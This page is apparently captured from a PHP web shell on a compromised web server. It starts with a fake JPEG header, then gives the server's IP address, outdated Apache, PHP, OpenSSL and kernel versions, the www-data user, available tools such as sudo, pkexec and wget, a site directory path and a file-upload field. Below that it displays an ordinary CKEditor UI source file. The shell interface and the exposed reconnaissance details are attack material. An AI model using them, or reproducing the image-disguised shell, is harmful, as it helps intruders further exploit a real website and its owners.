????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.189.141.66 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.biminfo.se/vatternkajak.se/ckeditor/_source/core/ |
Upload File : |
/* Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.html or http://ckeditor.com/license */ /** * Contains UI features related to an editor instance. * @constructor * @param {CKEDITOR.editor} editor The editor instance. * @example */ CKEDITOR.ui = function( editor ) { if ( editor.ui ) return editor.ui; /** * Object used to hold private stuff. * @private */ this._ = { handlers : {}, items : {}, editor : editor }; return this; }; // PACKAGER_RENAME( CKEDITOR.ui ) CKEDITOR.ui.prototype = { /** * Adds a UI item to the items collection. These items can be later used in * the interface. * @param {String} name The UI item name. * @param {Object} type The item type. * @param {Object} definition The item definition. The properties of this * object depend on the item type. * @example * // Add a new button named "MyBold". * editorInstance.ui.add( 'MyBold', CKEDITOR.UI_BUTTON, * { * label : 'My Bold', * command : 'bold' * }); */ add : function( name, type, definition ) { this._.items[ name ] = { type : type, // The name of {@link CKEDITOR.command} which associate with this UI. command : definition.command || null, args : Array.prototype.slice.call( arguments, 2 ) }; }, /** * Gets a UI object. * @param {String} name The UI item hame. * @example */ create : function( name ) { var item = this._.items[ name ], handler = item && this._.handlers[ item.type ], command = item && item.command && this._.editor.getCommand( item.command ); var result = handler && handler.create.apply( this, item.args ); // Add reference inside command object. if ( command ) command.uiItems.push( result ); return result; }, /** * Adds a handler for a UI item type. The handler is responsible for * transforming UI item definitions in UI objects. * @param {Object} type The item type. * @param {Object} handler The handler definition. * @example */ addHandler : function( type, handler ) { this._.handlers[ type ] = handler; } }; CKEDITOR.event.implementOn( CKEDITOR.ui ); /** * (Virtual Class) Do not call this constructor. This class is not really part * of the API. It just illustrates the features of hanlder objects to be * passed to the {@link CKEDITOR.ui.prototype.addHandler} function. * @name CKEDITOR.ui.handlerDefinition * @constructor * @example */ /** * Transforms an item definition into an UI item object. * @name CKEDITOR.handlerDefinition.prototype.create * @function * @param {Object} definition The item definition. * @example * editorInstance.ui.addHandler( CKEDITOR.UI_BUTTON, * { * create : function( definition ) * { * return new CKEDITOR.ui.button( definition ); * } * }); */ /** * Internal event fired when a new UI element is ready * @name CKEDITOR.ui#ready * @event * @param {Object} element The new element */